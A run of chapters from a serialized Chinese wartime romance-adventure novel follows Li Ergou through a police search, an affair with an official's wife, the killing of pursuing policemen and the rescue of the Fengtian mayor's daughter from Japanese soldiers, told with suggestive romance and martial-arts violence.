赵老蔫是一个老谋深算的人,外边闹了这么大动静,只有王太太一个人出来,想来有些奇怪,即使王满银不在家,那他们家的佣人去哪了? “王太太,王副秘书长在家吗?我想向他当面道个歉,实在是不好意思。” “他陪王市长去盛京出差了,没在家。” “那我们就不打扰王太太了。” 赵老蔫刚要走,一个警察跑进来在他耳边说了一句什么。 “带我去看看!” 赵老蔫跟着那个警察走出院门,王太太对其他人呵斥道:“还不快滚!” 其他人赶紧走出院门,王太太见状,刚想把院门关上,赵老蔫又返回了。 他伸手推住门,笑道:“王太太,请稍等一下!” 王太太本来心里就有鬼,此时见赵老蔫又返回,显得有些慌乱,这些都被赵老蔫看在眼里。 “赵队长,你……你还有什么事?” “王太太,刚才我在你家院墙外面的墙面上看到有几个脚印,想来是有人翻墙进去了。” “什么?”王太太吓得脚下一滑,差点摔到地上,“这……这怎么可能?我家里没有进来过外人,你们还是赶紧离开吧。” 赵老蔫已经走进院子,眼神一直在院子里逡巡。 “王太太,王副秘书长不在家,我们警察局必须保证您的安全,要是真有逃犯藏在您家里,这对您实在是太危险了。” 王太太伸手拦在赵老蔫身前,说道:“我都说了没有外人进来,赵队长,你还是去别处找找吧。” “王太太,日本人的命令是不放过任何一个地方,鄙人也是没有办法啊,得罪了!来人,给我仔细搜!” 王太太的心跳到了嗓子眼里,她挺了挺胸脯,坚决不让开道路。 “你就不怕等我们家老王回来我告诉他吗?小心你的脑袋!” 王太太越不让搜查,赵老蔫越觉得可疑。 “王太太,日本人的命令谁敢违抗啊?再说,鄙人也是为了您的安全着想啊!” 说完,他回头对身后的警察吼道:“你们还等什么?还不进去给我搜?” 王太太再也无法阻止这些伪满警察的搜查,她气鼓鼓地威胁道:“赵队长,等老王回来,有你好看的,哼!” 她看到有两个警察进入她的卧室,急忙跑进去,呵斥道:“你们都给我小心点,翻坏了我的东西,你们赔不起!” 赵老蔫也跟着走进这间卧室,他不明白王太太为何表现的这么紧张。 “都给我仔细点,不要放过任何一个角落!” 第521章 粉红色小肚兜 几个警察开始在王太太卧室里翻箱倒柜地搜查,王太太站在门口,气得直跺脚,但也无可奈何。 “你们要是翻坏我一件东西,你们一年的薪水都赔不起!哼!” 王太太嘴里说着狠话,眼睛却总是时不时地瞥向衣橱的方向,这一微小的细节被赵老蔫敏锐地察觉到。 正在此时,一个警察上前打开了衣橱。 王太太见状,心一下子提到嗓子眼上,她强装镇定,但额头上却沁出一层冷汗。 那个警察把衣橱里面的衣服翻了一遍,没有发现异常。 他正要关上衣橱离开,赵老蔫不放心,自己走到衣橱前,伸手扒拉了几下里面的衣服,他总感觉搜查这个衣橱时,王太太表现得过于紧张。 他的眼睛看向衣橱后面的背板,把衣架上挂着的几件旗袍向一侧扒拉了一下,刚要用手去抚摸背板。 王太太突然发出一声尖叫,吓得赵老蔫浑身打了一个寒颤。 她冲到衣橱前,把赵老蔫一把推开,从衣橱的一个角落里拿出一件粉红色的小肚兜丢到赵老蔫头上。 她大声质问道:“你们是不是在找这个?臭流氓,我回头一定让老王好好收拾你们。” 说着,她竟坐在衣橱前面的地上嚎啕大哭。 “老王啊,你这个杀千刀的,有人想占你女人的便宜,你怎么还不回来啊?我没脸在这个家待下去了……” 赵老蔫头上顶着一个粉红色小肚兜,一时有些手足无措,他拿下来不是,不拿下来也不是。 最终他还是用两根手指把小肚兜夹了下来,放在衣橱里。 他满脸堆笑地说道:“王太太,鄙人也是例行公事,请您一定不要见怪!” 王太太怒视一眼赵老蔫,从地上跳将起来,拿起那个小肚兜,再次砸到赵老蔫脸上。 “你的臭手摸过的东西还想让老娘穿吗?你要想看,可以直说嘛,老娘现在就脱给你看。” 王太太说着就要动手去解自己的衣扣,这可把赵老蔫吓坏了。 “对不起,对不起,”赵老蔫转头对屋里的几个警察呵斥道:“你们还不快点出去?” 几个警察本来还想等着看看王太太里面到底穿了什么颜色的小肚兜,被赵老蔫这一声喝斥,赶紧跑了出去。 “对不起,王太太,鄙人改日一定登门谢罪。” “滚!” 赵老蔫狼狈地来到院子里。 “有什么发现吗?” “没有。” “没有。” “走,今天的事情出去之后谁敢乱说,老子一定割了他的舌头!” 赵老蔫回头看向那间卧室,王太太还在里面哭天抢地。 “王太太,我们走了,您关好院门。” “滚!” 赵老蔫带着人走出院门,对身边的两个警察说道:“你们两个在这附近给我守着,一旦发现情况,立马来向我报告。” 事出反常必有妖,赵老蔫总觉得刚才王太太的表现太不正常,暗地里肯定藏着什么不可告人的秘密。 王太太看着伪满警察们走了,才一边哭着一边把院门关上。 关上院门后,她立刻停止哭声回到屋中,打开衣橱,触动开关,打开衣橱的背板。 “那些人走了,现在没事了,你出来吧。” 李二狗淡定地从衣橱里面走了出来。 刚才王太太和警察在外面的对话,李二狗在里面听得一清二楚。 “王太太,”李二狗拱手道,“谢谢了。” 王太太莞尔一笑,说道:“举手之劳罢了,你……不用这么客气。” 李二狗不经意间看到自己脚下踩着一个粉红色的小肚兜,原来是刚才从衣橱走出来时,脚踝不小心把这个小肚兜带了出来。 他赶紧抬起脚,弯腰把小肚兜从地上捡起来。 “这……实在是对不起,我不是有意的。” 李二狗手里拿着小肚兜,不知道该如何处理。 王太太看着李二狗局促的样子,觉得他这个样子特别可爱,便有意逗弄一下他,于是她妖媚地说道:“我知道你不是有意的,你是故意的!” 说完还不忘给他抛个媚眼。 这要是普通男人,肯定会不知所措,但李二狗不是普通男人。 “是啊,我就是故意的,王太太想惩罚我吗?” 王太太内心一直是一个狂野的女人,李二狗的撩拨更加激发了她内心的野性。 她走到李二狗身前,目光灼灼地盯着他的眼睛。 “你难道不怕我的惩罚吗?” 李二狗勇敢地迎着她的目光,没有丝毫躲闪。 “我怕!我怕你惩罚的太轻!呵呵!” 李二狗说话根本不按套路出牌,彻底让王太太没了主意。 “你……你……你讨厌!” “是啊,我这么讨厌,你更应该惩罚我,不是吗?来吧!我等着呢。” 王太太心跳的厉害,要不是自己嗓子眼细,她的心都要跳出来了。 “你好讨厌了啦,人家不理你了。” 王太太羞涩的转过头,不敢再看李二狗。 李二狗微微一笑,把手里的小肚兜放回衣橱里。 “王太太,再次谢谢你,我还有事,先告辞了。” 王太太一听李二狗要走,顿时慌了神。 “现在就走?是不是太着急了?” “那什么时候走算不着急呢?”李二狗故意反问道。 王太太急忙解释道:“我的意思是说那些警察还没有走远,你现在出去太危险了。” 李二狗刚才只顾着和王太太调情,一时竟失去了应有的判断能力。 现在确实不能出去,可孤男寡女待在一起,李二狗有些担心自己会把持不住。 正在这时,外边响起了敲门声。 难道是那些警察又回来了? 王太太冲到院子里,大声斥责道:“你们这些人,到底还有完没完?” “太太,是我。” “王妈……” 王太太听出是王妈的声音,吓得赶紧回到屋里。 “我家佣人王妈回来了,还得委屈你再去衣橱里躲一躲。” 李二狗笑道:“王妈又不是警察,我躲起来做什么?我不怕她。” 王太太哀求道:“我怕行吗?求求你快点躲进去吧。” 李二狗没有办法,只好再次回到衣橱后面的夹层里。 第522章 别以为我是好欺负的 李二狗进去之后,王太太整理了一下衣橱里的衣服,然后才关好衣橱的门,赶紧跑到院里去给王妈开门。 王妈在院门外明明听见王太太的声音,可她却一直没来开门,难道…… “太太,太太……” 院门打开了,王太太的笑容很和蔼。 “王妈,你回来了。” 王太太因为和王满银生活的不和谐,平时总是摆出一副冷脸,王妈都不记得自己上一次见到她的笑容是什么时候。 “太太,您这是刚起床吗?刚才您和谁发火呢?” 王太太的笑容消失了,她表现的非常愤怒。 “还不是那些挨千刀的警察,大清早就跑到家里来搜查反日分子,把家里翻得乱七八糟,简直被他们气死了!” 王太太说完,气得胸脯子一抖一抖的,她故意向上挺了挺,那是她作为女人最引以为傲的地方。 王妈附和道:“我刚才回来的路上也是遇见了很多警察,还有日本兵呢,这一天天的,真是不让人省心呐。” 王太太像是想起了什么,突然问道:“王妈,你怎么这么早就回来了?” 王妈被问得愣住了! 她有一次回家,就因为早上回来晚了一会儿,耽误了王太太吃早饭,就被她狠狠地骂了一顿。 所以她以后每次回家,第二天都是一大早就赶回来。 可这次她怎么还说自己回来的早呢? 难道是故意说反话来揶揄自己? 想到这,她急忙解释道:“我本来五点钟就从家里出门了,在路上遇到警察查这查那的,耽误了一些时间。太太,您饿了吧?我这就去给您做早饭!” “不着急,”王太太表一点也没有生气的样子,“王妈,早饭多做一点。” “啊?” 王妈以为自己的耳朵听错了,王太太一直很注重身材保养,每次吃饭都吃的很少,可现在却让多做一点? 她这是怎么了? 王太太看到王妈疑惑的表情,急忙解释道:“大清早的被这些警察一吓,肚子都饿了。” 王妈对王太太的这个解释更加迷惑,吓一吓和饿有什么关系? 但她是主人,人家想多吃,自有人家多吃的理由。 “好的,太太,我这就去做。” “王妈,你做好之后放在厨房就行,我自己去拿,”说完她揉了揉太阳穴,“哎吆,我这头被他们这一闹,疼得厉害,我先去睡一会儿,我不喊你,你不要打扰我。” “好的,我知道了,太太。” 王太太回到卧室,从里面把门栓插上,然后才去打开衣橱的开关。 “等急了吧?外边有人,你说话小点声,快出来透透头吧。” 衣橱后面的夹板很狭窄,在里面待久了,不仅腿麻脚酸,连呼吸都有些困难。 李二狗从衣橱里走出来,不知道他是有意还是无意,脚踝又把那个粉红色的小肚兜带了出来。 这一次,他再说自己不是故意的,估计连他自己都不相信。 既然解释不清,干脆主动出击。 “你这小肚兜可真精致啊。” 王太太听后竟无言以对! 这个男人说话如此轻佻,但是她却一点也不觉得下流,反而欣赏他这种玩世不恭的态度。 她不喜欢死板且无聊的男人。 她压低声音说道:“你要这么喜欢,那就送给你好了。” 李二狗堂堂一个男子汉,又怎能怀里揣着一个女人的小肚兜行走江湖。 他把手里的小肚兜放在鼻下嗅了嗅,故意表现出一副特别迷醉的表情。 “真好闻啊,这上面有你的味道。” 王太太被李二狗挑逗的情难自抑,她故意娇嗔道:“你好讨厌!你再这样,人家就不理你了!” 说完之后,她故意背过身不理李二狗。 李二狗站在她身后,慢慢靠近,王太太的心跳到了嗓子眼上。 她心里万分期待着这个男人接下来会做什么,会不会直接从后面…… 她屏住呼吸,闭上了眼睛,她已经能感受到他的呼吸。 看着王太太白皙的脖颈,李二狗犹豫了一下,但他还是伸出右手从她耳后插入,抚摸着她的秀发,王太太的身子一下子就软了。 她嘴里轻哼一声,身体故意向后一倾,倒在了李二狗怀里。 两人情不自禁地吻了起来。 这一吻,就从床下吻到了床上。 李二狗在她耳边呢喃道:“让我看看你身上的小肚兜到底是什么颜色?” 王太太猛地一捏,毫不示弱地说道:“哼,别以为我是好欺负的!” 李二狗此时已把她的上衣脱了下来,露出了里面翠绿翠绿的小肚兜,上面竟绣着一只神气活现的东北虎。 果然不是一般女人,李二狗扑了上去…… 做好早饭的王妈,迟迟不见王太太从屋里走出来,她有点担心,但她又害怕打扰了王太太休息,所以她并不敢冒然去敲门。 一个小时之后,王太太才开门从屋里走了出来。 她脸色红润,神态却有疲惫之感。 王妈正在院里打扫院子,听到动静,急忙上前问道:“太太,您睡醒了?早饭还放在锅里热着的,我这就去给您端屋里。” 王太太急忙说道:“王妈,我这头疼得特别厉害,听不得任何动静,你现在还是回家吧,今天不用回来了,我想一个人静一静。” 王妈赶紧把手里的扫帚放下,问道:“太太,您没事吧?要不要我去把扁大夫叫来给您瞧瞧?” “不用了!王妈,你快回去吧,我现在听到一点动静就头疼,也许多睡会就好了。” 王妈内心虽然有些疑惑,但主人主动给自己放假,她还是非常高兴。 “好的,太太,您吃了饭好好休息,我先回家了,明天一早我再回来。” 王太太摆了摆手,示意她赶紧离开。 王妈快速回到屋里,拿着一个包袱就出了院门。 王太太赶紧把院门从里面插上,进入厨房,把稀饭馒头和鸡蛋端进自己屋里。 “别睡了,快起来吃个鸡蛋补补身体吧。” 李二狗听到鸡蛋,立刻有一种温暖的感觉,他好像已经好久没有吃鸡蛋了。 第523章 我姓金,唤作凤仙 李二狗吃了两个热乎乎的鸡蛋之后,全身上下热气腾腾。 他只和王太太对视了一眼,两人又天雷勾动地火般地翻滚床上…… 床板“咯吱咯吱”的声音配合着王太太的抑扬顿挫差点掀翻屋顶。 上一次因为有王妈在家,王太太一直表现的很克制。 这一次,她彻底放飞自我,人生第一次有了大脑里放烟花的感觉。 事后,王太太心满意足地躺在李二狗怀里。 “人家到现在还不知道你的名字呢?” 李二狗微微一笑。 “我叫李二狗。” 王太太听后忍不住咯咯直笑,说道:“李二狗?你可真是人如其名啊。” 李二狗名贱人不贱,他一直对自己的名字非常自豪。 “天上龙肉,地下狗肉,今天你吃的满嘴流油,可拉馋了吧?哈哈……” 王太太笑着用小粉拳不断捶打着李二狗的胸膛,娇嗔道:“你讨厌,你讨厌!” 李二狗一把握住她的纤纤玉手放在自己胸口前,问道:“那你叫什么?总不会叫耗子吧?” “你……哼,讨厌死了,人家不理你了!” 王太太嘟着小嘴,一脸地不开心。 李二狗急忙哄道:“嘿嘿,我错了,别生气嘛,那你告诉我,你的芳名叫什么?” “我姓金,唤作凤仙。” “金凤仙,这名字真好听,比我李二狗这个名字可好听多了,癞皮狗吃上凤仙肉,我这便宜可赚大发了,哈哈哈……” 金凤仙被李二狗几句话撩拨的俏脸通红。 “哼!得了便宜还卖乖,你真讨厌!” 两人又温存了一会儿,李二狗说道:“时间不早了,我得走了。” 金凤仙抱着李二狗不松手。 “那你以后还会来吗?” 金凤仙既有关外女人的豪爽泼辣,又有关内女人的温婉体贴,李二狗对她有点欲罢不能。 但他一旦离开奉天城,什么时候再回来,他自己都说不准。 他不愿意给她一个虚无缥缈的承诺,然后让她在无尽的等待中煎熬、痛苦以至凋零。 “凤仙,我可能很快就要离开奉天了,下次再来,不知道是什么时候,但我向你保证,等我下次再来奉天的时候,一定会来看你,好吗?” 尽管李二狗的话全在金凤仙的意料之中,但由他亲自说出口还是令她情难自抑。 她身子蜷缩在李二狗怀里哭得一抖一抖的。 她认为,有了和李二狗的这番经历之后,她很难再接受其他男人。 其他男人和他比起来,连他的一根小脚指头都比不上。 李二狗也舍不得她,但他深知天下没有不散筵席的道理,比起男女私情,还有许多更重要的事情在等着他去做。 两人吻别了数次,李二狗才恋恋不舍地踏出了金凤仙家的大门。 刚走出不到百米,李二狗便敏锐地察觉到身后有人在跟踪他。 他没有回头,也没有停留,但他知道身后跟踪之人十有八九是伪满警察。 看来,他还是小看了这些警察,他们肯定在金凤仙家里搜查时便发现了异常。 必须想办法除掉他们,不然金凤仙很可能就会暴露。 他看到前面不远处有一家药店,便径直走了进去。 “老板,你这里有没有金疮药?” 第524章 二会金凤仙 高个子警察怒骂道:“人吓人,吓死人!你他娘的干什么呢?吓老子一跳!” 奇怪的是,矮个子警察仿佛没有听见一般,身体靠在门板上一动不动。 “你他娘的耳朵塞驴毛了?你到底在做什么?” 高个子警察怒气冲冲地奔向矮个子警察。 走到他跟前时,矮个子警察还是两眼乜斜,一动不动。 高个子警察气愤极了,他用手猛地一推,喝骂道:“你他娘的到底在做什么?” 他这一推不要紧,矮个子警察顺着门板倒在地上,鲜血从嘴角流了出来。 高个子警察吓坏了,他一回头,李二狗正站在他身后,脸上是一副淡定的笑容。 “你是……” “咔嚓!” 李二狗双手扭断了他的脖子。 他小时候习武之时,师父一直让他在沙堆里练习铁砂掌,由此练就了一双铁手。 别说是人,就是一头牛的脖子,他也能轻易地扭断! 李二狗把两个警察的尸体拖进破屋里掩藏好,然后转身离开了这个破落的院子。 他快步来到奉天火车站五号仓库附近,仔细地观察了周围一番,没有发现异常之后,才打开仓库的门锁走了进去。 “鲜儿,我回来了。” 没有任何回应。 “鲜儿……” 鲜儿还是没有回应。 李二狗担心她出事,快步走到木头箱子跟前。 “鲜儿,你在吗?” 他看到自己走之前特意摞在上面的木头箱子并没有移动,赶紧搬下来,打开盖子,看到鲜儿正在里面睡的香甜。 她实在是太累了。 李二狗不忍心吵醒她,刚要离开,她却醒了。 “狗哥,你可算回来了。” 鲜儿从箱子里爬出来,扑到李二狗怀里。 “等急了吧?我给你买了药,还买了好吃的。” 李二狗刚离开时,鲜儿内心是充满恐惧的,但她又不敢从箱子里面出来,只好待在里面。 她左等右盼,李二狗一直没有回来,极度疲惫的她便在迷迷糊糊之中睡着了。 “你去哪了?怎么这么久?” 鲜儿看似无意的发问却令李二狗瞬间脸红,他实在不应该因为贪恋床帏之事而忘记了鲜儿。 “路上遇到日本人盘查,耽误了一些时间,来,我给你脸上抹点药膏。” 鲜儿说道:“还是我自己来吧。” 李二狗因为内心愧疚,想做点什么弥补弥补对鲜儿的亏欠,便坚持道:“我来吧,脸上的伤口你看不见。” 鲜儿羞涩地一笑,甜甜地说道:“那谢谢狗哥了。” 李二狗让鲜儿坐在一个箱子上,自己拿起药膏,用棉签蘸了蘸,动作轻柔地为她脸上的伤口抹药,鲜儿不时发出一声轻哼。 不可否认,鲜儿脸上虽然有伤,但青春逼人的模样还是令李二狗心动不已。 在这场青春与妩媚的较量中,李二狗虽然委身于妩媚的金凤仙,但把心却给了青春逼人的鲜儿。 这可能就是传说中的青春无敌! 涂抹完脸上的伤痕,鲜儿轻柔地说道:“狗哥,谢谢你,你把药膏给我吧。” “还有没抹到的地方吗?” 鲜儿的脸一下子红到了耳朵根。 “嗯,还有一些地方。” “还有哪里?我来帮你。” 第525章 鲜儿,你在哪里? “仙儿,我……我想请你帮我一个忙。” 完事之后,李二狗便提出了事先想好的请求,他知道此时这样做有些交易的味道,但特殊时期,他没有别的选择。 李二狗在一天之内让金凤仙的脑海里燃放了多次烟花,此时李二狗就是要她的性命,她也会毫不犹豫地答应。 “咱们之间还说什么帮不帮的?你想要我的命,现在就可以拿去。” 李二狗笑道:“你刚刚不是一直在喊要了你的命吗?你到底有多少条命啊?” “你……你讨厌死了!”李二狗又挨了一顿粉拳,“说吧,到底要我帮你什么忙?” “我想让你帮我送两个人出城。” 金凤仙知道李二狗口中的送两个人出城是什么意思,如果这两个人是普通人,根本不用送! 需要送出城,那肯定不是普通人。 尽管危险,但她还是毫不犹豫地问道:“什么时间出城?出城之人是谁?” 金凤仙的态度令李二狗非常感动。 一个养尊处优的官太太,甘愿冒着生命危险帮助自己,这份情谊远比床上的几个哆嗦更加深厚。 “我和我妹妹,越快越好。” 金凤仙知道,李二狗是从关内到关外来做生意的,在这个兵荒马乱的时节,他不可能带着自己的妹妹来东北。 虽然她还不能确定他们之间到底是什么关系,但关系肯定不一般。 不管他们之间到底是什么关系,只要是他要求的事情,金凤仙都不会拒绝。 “现在太晚了,明天一早我送你们出城。” 李二狗当时只想着快点出城,所以找到了金凤仙,但他完全没有考虑到此事可能会连累她。 “仙儿,还是算了吧,我再想其他办法。” 金凤仙问道:“怎么?你不相信我?” 李二狗急忙解释道:“当然不是不相信你,我是害怕连累你。” 金凤仙一直认为自己和李二狗只是露水情缘,上床只是为了贪图身体之欢,却没想到自己在他心里竟然有这份分量。 “放心吧,我自有办法出城。不过现在有点晚了,马上就到宵禁时间,我们还是明天早上再出城吧。” “那你打算怎么出城?” 金凤仙心中早已有了主意,她贴近李二狗的耳朵和她耳语一番。 “仙儿,我突然发现一个问题。” “什么问题?” “胸大无脑,这个词用得不对!” “你……真讨厌!” 想到明天就要分别,两人又情不自禁地拥抱在一起。 李二狗用尽吃奶的力气,让金凤仙的大脑再次燃放了一次大大的烟花。 “仙儿,我得回去了,明天一早我来接你。” 金凤仙不舍李二狗离去,但也没有办法。 李二狗回到仓库,把明天要出城的消息告诉鲜儿,鲜儿听后愁容满面。 “愿意帮忙的那个女人是谁?” 鲜儿的问题精准地抓住了关键。 “一个朋友。” “朋友?原来狗哥在奉天城还有这样过命的朋友,我真是为你感到高兴啊。” 李二狗不知道该如何解释,便选择了沉默。 鲜儿竟默默地抹起了眼泪。 李二狗有些心烦意乱,选择了继续沉默。 时间过得无比漫长,鲜儿身上有伤,李二狗不忍和她继续置气。 “鲜儿,时间不早了,早点休息吧。” 鲜儿哭得双眼红肿,委屈地说道:“我以为你不会再管我了。” 李二狗走到她身边,伸手为她拭去眼角的泪水。 “傻丫头,净说傻话,你是我妹子,我怎么会不管你呢?” 鲜儿深情地看向李二狗,说道:“狗哥,我不想只做你的妹子。” 这话李二狗不敢接,他懂得鲜儿的心思,但她和金凤仙情况不一样,她还小,他无法给她任何承诺。 没有承诺的感情是虚无缥缈的,李二狗终究是要离开的,而他无法带她一起走! “鲜儿,你要愿意,我们就做一辈子的兄妹,我会一直像哥哥一样疼爱你,好吗?” 鲜儿突然起身抱住李二狗。 “我不要做你妹子,我要做你女人。” 李二狗的手停留在半空,他很想安慰她,但此时任何语言都是苍白无力的。 “鲜儿,等你以后去关内的时候,我介绍你嫂子和你认识,她肯定也会像我一样喜欢你。” “狗哥,让我和嫂子一起伺候你好吗?我什么都听你的,只要能和你在一起。” 李二狗心软了,但也只是软了一瞬间。 “鲜儿,早点睡吧。” 鲜儿一直认为李二狗是爱自己的,却没想到他只是拿自己当妹妹。 “我知道了。” 鲜儿慢慢踱到木箱里面,扯过被子,蒙在头上,嚎啕大哭。 李二狗心想,这时候他无论说什么都无济于事,干脆让她哭个痛快。 女人情窦初开的年纪,并不懂得什么是爱,哭过之后,也许就释怀了。 不知道鲜儿哭了多久,李二狗由于身体被抽空,不知道什么时候便迷迷糊糊睡着了。 醒来时,一轮明月透过窗子正好照射在他身上,仓库里静极了。 他仔细听了听,确实没有了哭声。 “鲜儿,等你以后经历的多了,一定会理解我现在的苦衷,我只希望你能过得比我幸福。” 李二狗心里向鲜儿道着歉,其实在他内心深处,他是非常喜欢鲜儿的,是男女之间的那种喜欢。 但他如果把鲜儿带回关内……简直是难以想象的局面。 李二狗抬头看着天上的月亮,心中无比惆怅。 仓库里实在太静了,除了自己的呼吸声,没有任何声音。 李二狗突然有一种不祥的预感,仓库里并不是只有自己一个人,为什么没有鲜儿的呼吸声。 他急忙起身,来到鲜儿睡觉的木箱,里面竟空空如也! 他伸手一摸,被子里面触手冰凉,想来已经离开很久。 “鲜儿,鲜儿!” 李二狗的声音在空旷的夜里显得格外刺耳,可却没有得到任何回应。 他打开仓库的大门,一阵寒风迎面吹来,像刀子一样割在他的脸上,却疼在他的心里。 鲜儿,你在哪里? 第526章 孔庙行凶 午夜时分,寂寥的天空明月高悬,整个城市却显得万籁俱寂。 李二狗站在一个十字路口,四面八方空无一人,他不知道该去何处寻找鲜儿。 此时正是宵禁的时间,如果鲜儿被日本人发现,后果将不堪设想。 他不敢高声呼喊,只能选准一个方向去寻找鲜儿。 她一个人会去哪里呢? 寻找了一夜,在天色破晓之时,李二狗依然一无所获。 偌大的一个奉天城,一个人想要找到另一个人,无异于大海捞针。 “鲜儿,你到底在哪啊?” 李二狗神色凝重,如果鲜儿出事,他将会内疚一生。 苦寻无果的李二狗准备再返回仓库,也许鲜儿已经回去了。 路过一个丁字路口时,他听到胡同里传来一个女人呼救的声音,听声音很像鲜儿。 他顾不得多想,顺着声音就冲了过去。 来到一座孔庙前,声音就是从里面传出来的。 “救命!” 李二狗抬起一脚踢开大门,看到一个日本人只穿着一片尿布,脚下是一个被扒光衣服的女人。 他身后还站着一个一脸淫笑的日本鬼子。 “你是什么人?” 日本鬼子见有人冲进来,举枪就要射击,李二狗早已把握在手中的短刀投掷出去,正中他的脖子。 他双目圆睁,手中的枪丢在地上,双手捂住脖子,依然挡不住“咕咕”喷出的鲜血。 “八嘎!” 赤身裸体的日本鬼子转过身,就像一只瘦小的小鸡仔。 正当他要去捡地上的武士刀时,李二狗早已飞奔到他跟前。 他在空中做了一个抬膝下压的动作,正撞在他的胸口上。 他口中顿时喷出一口鲜血,同时身体飞出三丈远,撞在一棵大树上之后又摔在地上。 他痛苦地哀嚎道:“八嘎!八嘎!” 李二狗没有丝毫犹豫,再次冲到他身边,用膝盖狠狠地顶在他的脖子上。 日本鬼子口吐鲜血而亡。 李二狗转身跑回女人面前,她正双手环抱在胸前,披头散发、痛哭不止。 万幸不是鲜儿,李二狗内心暗自松了一口气。 他捡起地上的衣服,把头转向一边。 “姑娘,你快把衣服穿上吧,然后赶紧离开这里。” 女子接过衣服,李二狗已经背转过身,走到孔庙门前。 在孔庙这种神圣而又庄严的地方,日本鬼子竟做出此等禽兽之事,简直连禽兽都不如。 想到杳无音讯的鲜儿,李二狗内心更加着急。 “鲜儿,你到底在哪啊?” 女子穿好衣服之后,来到门前,突然跪倒在李二狗跟前。 “多谢大哥救命之恩。” 李二狗把女子从地上扶起来,看她的穿着打扮和气质,并不像是寻常人家的女子。 “姑娘,你快回家吧,外边太危险了。” “请问大哥姓名,日后定当厚报!” “我只是路过,举手之劳,不足挂齿,姑娘,你快回家吧。” 姑娘抬头看向李二狗,刚才这个男人,轻描淡写间就杀死两个日本鬼子,肯定不是泛泛之辈。 她平生最爱英雄,而此刻英雄就站在她眼前,她怎能轻易错过。 “大哥,您的举手之劳却救了我的性命,如果您再晚来一步,我……我真的无法活了。” “姑娘,以后你不要这么早一个人出来,赶紧回家吧,一会儿日本鬼子该来了。” “大哥,我一定要好好感谢您,请您一定留下姓名好吗?” 李二狗刚才杀死了两个日本鬼子,这要被日本人抓住,肯定会被杀头。 尽管这个女人不会出卖自己,但她一旦被抓,又怎能顶得住日本人的严刑拷打。 “姑娘,这点小事千万不要放在心上,快回家吧,我还有事,先走了。” 女子没想到李二狗竟如此倔强。 做好事不留姓名,她对他更加敬重。 “大哥,我爹是奉天市长,你以后有事可以到王公馆找我。” 原来这个女子便是奉天市长王有为的亲生女儿王玉娇。 她大清早从学校偷偷跑出来,就是想回家取一件漂亮衣服,参加学校上午举行一个的活动,没想到在路上遇见了两个宿醉未醒的日本鬼子。 他们见色起意,把王玉娇拖到附近的孔庙里欲行不轨之事。 幸好李二狗及时出现救了她,要是再晚一步,王玉娇被日本人糟蹋了,她肯定只有死路一条! 李二狗听到这个姑娘是奉天市长的女儿时,顿时停下了脚步。 “你是王市长的千金?” “是啊,我爹叫王有为,是奉天市长,你认识我爹?” 李二狗万万没想到堂堂奉天市长的女儿竟差点被日本人强暴。 由此可见,日本人不仅不把普通的中国人当人看,即使是已经投靠他们的汉奸,他们也不把他们当人看。 “不认识,我只是听说过令尊的大名。” 李二狗找寻了鲜儿一夜都没有找到,如果王有为愿意帮忙寻找,肯定会事半功倍。 虽然他是伪满洲国的官员,但此时也顾不得那么多了,市长的千金都可能被日本人强暴,鲜儿一个人在外,同样的危险随时会降临在她身上。 “王小姐,我有个不情之请……” 刚刚还说这点小事不要放在心上,现在却张口让人家帮忙,李二狗实在有些张不开嘴。 “大哥,您刚刚救了我的性命,有什么事您尽管说,我一定帮忙。” 不愧是市长女儿,果然有见识。 “王小姐,我有个妹妹昨晚走丢了,我找了她一夜也没有找到,不知道可否请令尊帮忙找一找?我担心她……” “大哥,这点小事包在我身上!不过……” “不过什么?” “大哥,得麻烦您跟我回家一趟,把具体情况告诉我爹。” 李二狗心想,王有为虽然是伪满洲国的官员,但自己毕竟救了他的女儿,他应该不会把自己交给日本人。 “好,那就麻烦姑娘了。” 王玉娇嘻嘻一笑,说道:“大哥,我叫王玉娇,您可以叫我玉娇。” 李二狗只好自我介绍道:“玉娇,我叫李二狗,再次谢谢你。” “应该是我谢谢你才对,我们走吧。” 第527章 玉娇的委屈 李二狗跟随王玉娇来到王公馆。 这是一座三层的欧式小洋楼,只看大门,就显得格外气派。 “小姐,您回来了。” 门口站岗的两个保镖向王玉娇客气地问好,同时纷纷对站在她身旁的李二狗投来疑惑的目光。 在他们的印象中,王玉娇从来没有带过任何男人回过王公馆。 更何况,她身旁的这个男人明显比她大好几岁,根本不像学生,倒更像是江湖中人。 “我爸在家吗?” “市长在家,正在吃早餐。” 尽管保镖对李二狗的身份有所怀疑,但王玉娇带回来的人,他们根本没有资格也不敢阻拦。 她带着李二狗直接进入王公馆。 王玉娇暗中观察着李二狗的表情,面对如此豪华气派的王公馆,他竟没有表现出一丝惊讶的表情,肯定是见过大世面的人。 “爸!” 王玉娇刚进屋就扑到王有为怀里,放声痛哭,这可把王有为吓坏了。 他就这么一个宝贝女儿,平时都是捧在手心里,怎么一回家就哭得这么伤心? “娇儿,你怎么这个时候回来了?发生什么事了?快点告诉爸爸。” 王玉娇只顾着痛哭,把王有为胸前的衣服都哭湿了一大片。 她知道,自己此时哭得越凶,李二狗所求之事就更容易办到。 王有为看了一眼李二狗,此人相貌堂堂、仪表非凡,但看着却有些面生,他不知道这个人和自己的女儿是什么关系。 此时他最关心的还是自己的宝贝女儿到底怎么了。 “娇儿,先别哭了,快告诉爸爸,爸爸都要被你急死了。” 王玉娇哭得身子一抖一抖的,好一会儿才慢慢停止了哭泣。 “爸,您今天差点就见不到你的女儿了,呜呜……” “到底出什么事了?快告诉爸爸。” 正在这时,一个穿着墨绿色旗袍的高挑女人从二楼楼梯娉娉袅袅地走了下来。 “娇儿,你这是怎么了?” 说话的这个女人就是王玉娇的妈妈于婉清。 看她的年纪,差不多四十岁模样,但保养的非常好,面部的皮肤白皙,鹅蛋脸、樱桃口,柳叶眉,身上自带一种官太太的气质。 她最吸引人眼球的还是她的身材,用两个字形容,丰满,四个字,非常丰满。 虽然已有四十岁,但她前凸后翘的样子,比起王玉娇,更多了几分成熟的韵味。 李二狗看到她,立刻想到一个词:徐娘半老,风韵犹存。 “妈妈,我……” 王玉娇又哭着扑到于婉清怀里。 “宝贝女儿,你到底怎么了?谁欺负你了?快点告诉妈妈。” “这位先生,我女儿到底怎么了?”王有为忍不住问李二狗。 李二狗知道,这种事情,还得王玉娇亲口告诉他们,自己作为一个外人,由他来说,不太合适。 “王市长,还是请王小姐亲自告诉你们吧,我先去院子里回避一下。” 李二狗说完就转身走了出去,王有为作为在官场摸爬滚打多年的资深政客,此时已经意识到问题的严重性。 “娇儿,别哭了,快告诉爸爸到底怎么了?” 王玉娇双眼已哭得红肿,她边哭边说道:“今天早上……我从学校出来,没想到……半路碰到了两个日本人,他们……他们……” 